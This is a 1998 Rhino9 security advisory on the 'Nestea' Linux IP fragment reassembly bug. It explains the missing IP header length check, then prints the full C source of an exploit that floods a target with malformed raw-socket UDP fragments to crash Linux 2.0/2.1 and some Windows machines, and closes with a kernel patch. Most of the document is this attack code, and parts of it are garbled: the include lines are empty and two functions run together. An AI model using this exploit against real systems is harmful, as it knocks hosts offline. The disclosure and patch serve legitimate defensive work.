Nestea Vulnerability (Linux Oversized Fragment Vulnerability) Written by humble SYSTEMS AFFECTED Linux 2.1.x and 2.0.x and certain Windows machines (still testing, succesfully dropped a WinNT box running Service Pack3.) PROBLEM There is a certain function (ip_glue) in the linux kernel that attempts to reassemble a fragmented datagram before passing it up to the upper layers of the ip stack. This function will determine if any particular fragment goes past the allocated memory for the total buffer or has been miscalculated due to errors or oversights in the initial assembly code. The comparison statement in the linux kernels forgot to take into account the size of the ip header. Since an ip header can reach up to 60 bytes, an attacker is able to write over 60 bytes in the kernel, and probably cause a system crash. IMPACT This will overwrite important data structures in the kernel network code and cause the kernel to get very confused. This will lead to a system crash or a situation such a system that must be rebooted. EXPLOIT // nestea.c by humble of rhino9 4/16/98 // This exploits the "off by one ip header" bug in the linux ip frag code. // Crashes linux 2.0.* and 2.1.* and some windows boxes // this code is a total rip of teardrop - it's messy // hi sygma #include #include #include #include #include #include #include #include #include #include #include // bsd usage is currently broken because of socket options on the third sendto #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define MAGIC2 108 #define PADDING 256 /* datagram frame padding for first packet */ #define COUNT 500 /* we are overwriting a small number of bytes we shouldnt have access to in the kernel. to be safe, we should hit them till they die :> */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n"); fprintf(stderr, "Death on flaxen wings (yet again):\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { int i; u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; packet = (u_char *)malloc(IPH + UDPH + PADDING+40); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40); byte = 0x4F; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 44; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ for(i=0;ih_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } SOLUTION Apply the following patch to icmp_fragment.c in your kernel (fixes for Windows not yet determined). (Patch from Alan Cox) --- ip_fragment.c.old Thu Apr 16 12:25:34 1998 +++ ip_fragment.c Thu Apr 16 12:29:02 1998 @@ -375,7 +375,7 @@ fp = qp->fragments; while(fp != NULL) { - if (fp->len < 0 || count+fp->len > skb->len) + if (fp->len < 0 || fp->offset+qp->ihlen+fp->len > skb->len) { NETDEBUG(printk("Invalid fragment list: Fragment over size.\n")); ip_free(qp); The contents of this advisory are Copyright (c) 1998 the Rhino9 security research team, this document may be distributed freely, as long as proper credit is given.